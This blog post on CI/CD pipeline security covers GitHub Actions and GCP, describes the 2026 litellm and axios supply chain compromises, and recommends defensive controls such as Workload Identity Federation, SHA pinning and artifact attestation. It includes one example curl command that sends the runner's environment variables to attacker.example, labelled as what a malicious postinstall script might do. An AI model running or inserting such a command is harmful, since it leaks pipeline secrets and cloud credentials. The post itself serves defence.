Skip to main content

Command Palette

Search for a command to run...

Pipeline Security and Supply Chain Risk: Closing the Gap Between AppSec and CloudSec

Why the assumption that CI/CD is a trusted internal tool has already cost organisations dearly

Published
12 min read
Pipeline Security and Supply Chain Risk: Closing the Gap Between AppSec and CloudSec

Working in cloud security, I spend a lot of time thinking about the seams between systems: the places where one team's security coverage ends and another's begins. The gap I keep coming back to is CI/CD. It sits between application security and cloud security, touches both, and is fully owned by neither.

Most organisations treat their pipeline as a trusted internal tool. It is not. It is a privileged execution environment that runs code from external sources on every single build, with almost no security observability.


The Two Islands and the Bridge Between Them

AppSec and CloudSec are two well-defended islands. AppSec covers the code: SAST, DAST, software composition analysis, container scanning, secrets detection in commits. CloudSec covers the infrastructure: IAM policies, network configuration, resource posture, runtime monitoring.

CI/CD is the bridge. It takes code from one island and deploys it to the other. To do that job, it needs credentials for both: your container registry, your cloud infrastructure deployment keys, your secrets manager tokens, sometimes direct access to production for smoke tests or database migrations.

The problem is that neither island's security team fully governs the bridge. AppSec focuses on what is inside the code. CloudSec focuses on what is running in the cloud. The pipeline operates in the gap between them, and because it is an internal tool used by engineers who already have significant access, the risks get underplayed. Everyone assumes someone else is watching it.


How a GitHub Actions and GCP Pipeline Actually Works (and Where Trust Breaks Down)

I work with GitHub Actions and GCP, a common enough setup to walk through in detail.

A repository has workflow YAML files defining what happens on push or merge. Those workflows reference marketplace actions, run shell scripts, install dependencies, build container images, push them to Artifact Registry, and deploy to Cloud Run or GKE via Terraform. Each of those steps involves a level of trust that is rarely examined closely.

The uses: directive pulls a third-party action from GitHub and runs it with the same permissions as the rest of the job. If that action's repository is compromised, or if the version tag has been silently moved to a different commit, you are running attacker-controlled code inside your build environment.

# Mutable: the tag can be moved at any time
- uses: actions/checkout@v4

# Immutable: the commit cannot be changed
- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af68 # v4.2.2

The npm install or pip install step fetches packages from public registries. Those packages can contain preinstall and postinstall scripts that execute arbitrary code at install time, before any of your application code runs. In March 2026, the litellm PyPI package was compromised and two malicious versions were live for at least two hours. With three million daily downloads, the blast radius during that window alone was significant. The payload harvested AWS, GCP, and Kubernetes credentials, SSH keys, and CI/CD configuration files, then established persistence as a background service.

The runner cannot detect any of this. GitHub-hosted runners have no kernel-level visibility into what happens during a build: no EDR equivalent, no syscall monitoring, no network egress filtering by default. It is a privileged shell that trusts everything it is told to run.

And the credentials available to that shell are often the most sensitive in the organisation. A service account key used for Terraform deployments needs broad permissions because infrastructure-as-code genuinely requires them. A GitHub Actions secret holding a GCP service account key with roles/editor is not unusual. If anything in that execution chain is compromised, an attacker has credentials with significant blast radius inside a system with almost no observability.


The Observability Black Hole

Here is why this goes undetected even in mature security teams: the log volume from CI/CD systems is enormous, and writing useful detection rules against it is genuinely hard.

A busy engineering org generates tens of thousands of workflow runs per month. Routing all of that into a SIEM is technically possible. Making sense of it is not. What does a normal GitHub Actions run look like? The answer changes constantly as teams add new build steps, dependencies, and tools. A new outbound network call could be a malicious payload phoning home or a developer adding an analytics SDK. Writing a detection rule that catches one without flooding the queue with false positives requires a dynamic baseline per repository, per workflow, per job type.

Most security teams make the pragmatic call: the signal-to-noise ratio is not good enough to justify the effort, so CI/CD logs go into cold storage and nobody looks at them unless something has already gone wrong. I understand why. But it means the pipeline is operating with essentially zero security observability.

This is also a structural gap. Pipeline security does not fit neatly into the AppSec team's remit or the platform engineering team's remit. Both care about it in principle. Neither fully owns it.


Agentic Workflows Are Widening the Gap

AI coding tools generate more code faster, and a meaningful portion goes through lighter review than hand-written changes would. That is a reasonable trade-off. But the volume of changes is higher, and increasingly those changes include modifications to CI/CD configuration: new workflow files, new dependency additions, new environment variable references.

Agentic workflows can produce changes to package.json, requirements.txt, or workflow YAML that get merged with minimal scrutiny because the feature code looks correct and the build scaffolding changes look routine. A preinstall script added through a dependency update, a new third-party action referenced in a workflow: these are easy to miss when reviewers are focused on feature logic rather than build scaffolding.

The answer is not to block agentic workflows. It is to build compensating controls that flag risky changes to build configuration regardless of who authored them, so the review burden does not scale linearly with AI-generated code volume.


What a Real Supply Chain Attack Looks Like

Supply chain attacks against CI/CD pipelines are not hypothetical. This happened to axios in March 2026.

Axios is one of the most widely used HTTP client libraries in the JavaScript ecosystem, with over 300 million weekly downloads. Attackers hijacked an npm maintainer account and published two malicious versions: axios@1.14.1 and axios@0.30.4. Neither version contained malicious code directly. Instead, both quietly introduced a hidden transitive dependency on a newly published package called plain-crypto-js@4.2.1, timed and named to resemble a legitimate cryptography library.

When either malicious axios version was installed, npm automatically pulled in plain-crypto-js and executed its postinstall hook. The payload fingerprinted the host OS, used layered base64 and XOR decoding to reconstruct hidden strings and a C2 endpoint, fetched a second-stage payload, and ultimately delivered a remote access trojan. It then deleted its own artifacts and replaced package.json to mask its presence.

In a GitHub Actions context, environment variables are particularly valuable. A typical runner environment contains repository tokens, cloud provider credentials, container registry authentication, and any other secrets configured in the repository. Exfiltrating them is a single curl command:

# What a malicious postinstall script might do
curl -s -X POST https://attacker.example/collect \
  -d "$(env | base64)"

The axios compromise was live for roughly 40 minutes before Sonatype's automated tooling flagged it and npm removed the packages. Forty minutes is long enough to execute in thousands of CI/CD pipelines. In most cases the affected organisations had no log evidence of what happened inside the runner, because they were not capturing it. The thread running through this and almost every supply chain incident like it: a maintainer account secured by a long-lived token, never rotated, eventually an attacker's entry point.


Frameworks Worth Knowing

The industry has produced several frameworks for this problem. SLSA defines four levels of supply chain integrity; most teams are at Level 1 at best. The OWASP CI/CD Security Top 10 is the most directly applicable checklist for threat modelling a pipeline. The CNCF Secure Software Supply Chain Best Practices whitepaper covers the end-to-end picture for cloud-native environments. NIST SSDF includes guidance on protecting build environments and verifying third-party components.

The challenge is that tooling to operationalise these frameworks is still maturing. The practical work mostly involves custom controls and deliberate configuration choices.

One I have been looking into recently is the OWASP Secure Pipeline Verification Standard (SPVS). It is a maturity-based framework covering the full delivery lifecycle: Plan, Develop, Integrate, Release, and Operate. Rather than focusing on a single layer, it gives teams structured controls across the entire pipeline and a model to progress from baseline security practices toward more advanced, secure-by-design pipelines. It is still relatively new but the framing maps well to the gaps this post describes, and I expect it to become a useful reference as it matures.


Breaking the Implicit Trust Model

The goal is to replace implicit trust with verifiable controls at every stage of the pipeline.

Get off long-lived credentials first. For GitHub Actions to GCP, Workload Identity Federation lets you exchange a short-lived OIDC token for a GCP access token scoped to that specific job. The credential exists for the duration of the workflow run and then expires: no key to rotate, no secret to steal, no token worth exfiltrating.

# No long-lived key in GitHub Secrets
- id: auth
  uses: google-github-actions/auth@v2
  with:
    workload_identity_provider: 'projects/PROJECT_NUMBER/locations/global/workloadIdentityPools/POOL_ID/providers/PROVIDER_ID'
    service_account: 'deploy-sa@PROJECT_ID.iam.gserviceaccount.com'

If you have long-lived service account keys in GitHub Secrets today, replacing them with WIF is the single most impactful change you can make to your pipeline security posture.

Scope permissions per job, not per repository. A job that runs tests does not need the same cloud permissions as a job that applies Terraform. Define minimal permissions: at the job level:

jobs:
  test:
    permissions:
      contents: read
      id-token: write

  deploy:
    permissions:
      contents: read
      id-token: write
    # uses a separate, more privileged service account via WIF

Pin third-party actions to a full commit SHA. A version tag is mutable. A full SHA is not. Renovate handles the maintenance burden: it opens PRs to bump your pinned SHAs when upstream tags advance, with a clear diff of what changed. You get immutability without manual tracking. Treat your workflow YAML dependencies with the same rigour as your application dependencies. The supply chain risk is identical.

Require review on workflow file changes. Branch protection rules combined with CODEOWNERS creates a mandatory human checkpoint for the changes that matter most:

# .github/CODEOWNERS
.github/workflows/ @your-org/security-team

Audit preinstall and postinstall scripts in dependencies. Automated checks that flag dependency changes containing install lifecycle scripts, particularly in agentic pull requests, catch the risk at review time rather than during incident response.


Signing Artifacts and Building a Chain of Custody

Even with hardened pipeline inputs, you need to verify that what comes out of the build is what you intended to deploy.

Sigstore's cosign gives you cryptographic signing and attestations for container images. An attestation proves not just who signed an artifact, but how it was built: source repository, commit SHA, workflow that ran, build environment. This is the foundation of SLSA provenance.

Binary Authorization is GCP's policy enforcement layer for deployments. Configure it with attestation requirements and it refuses to deploy any container to Cloud Run or GKE without a valid attestation from a trusted builder:

defaultAdmissionRule:
  evaluationMode: REQUIRE_ATTESTATION
  enforcementMode: ENFORCED_BLOCK_AND_AUDIT_LOG
  requireAttestationsBy:
    - projects/PROJECT_ID/attestors/built-by-cloud-build

A container built outside your verified pipeline will not deploy. Combined with cosign-generated attestations, this gives you an enforceable chain of custody from source commit to running container. For Kubernetes, Kyverno and OPA/Gatekeeper extend this enforcement at the admission control layer.


Filling the Gaps with Custom Controls

Off-the-shelf products do not yet cover all of this comprehensively. Some of the most effective controls are built in-house.

A custom GitHub Actions step that diffs workflow YAML changes against a policy baseline catches things generic scanners miss: new third-party actions without a SHA pin, new secret references, jobs that escalate permissions beyond an established baseline. A lightweight log shipper that captures runner environment variable names (not values) and ships them to a SIEM is the minimum viable observability for a system that currently has almost none. A pre-merge check that routes agentic PRs containing changes to dependency files or workflow YAML through a separate approval flow is a proportionate response without blocking productivity.

None of these are perfect. But they fill real gaps while the industry builds better native tooling.


Rethink the Trust Model

CI/CD security has lagged partly for cultural reasons. These are internal tools maintained by trusted engineers, and the threat model was built around external attackers. Supply chain attacks broke that assumption. The threat is not a malicious insider. It is a compromised upstream dependency, a hijacked maintainer account, a long-lived token that was generated for convenience and never rotated. The attacker gets inside the perimeter by compromising something the pipeline trusts, then uses the pipeline's own privileges against you.

Your pipeline is not a trusted internal tool. It is an execution environment with privileged access to production systems that runs code from external sources on every single build. It deserves the same threat modelling discipline as a public-facing API.

Start by mapping what your pipeline actually touches: what credentials it holds, what external sources it downloads from, what it can access in your cloud environment. Then work backwards through the controls above and close the most critical gaps first.


Resources